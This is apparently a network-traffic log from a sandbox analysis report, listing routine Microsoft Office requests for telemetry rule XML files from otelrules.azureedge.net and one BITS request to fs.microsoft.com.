Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
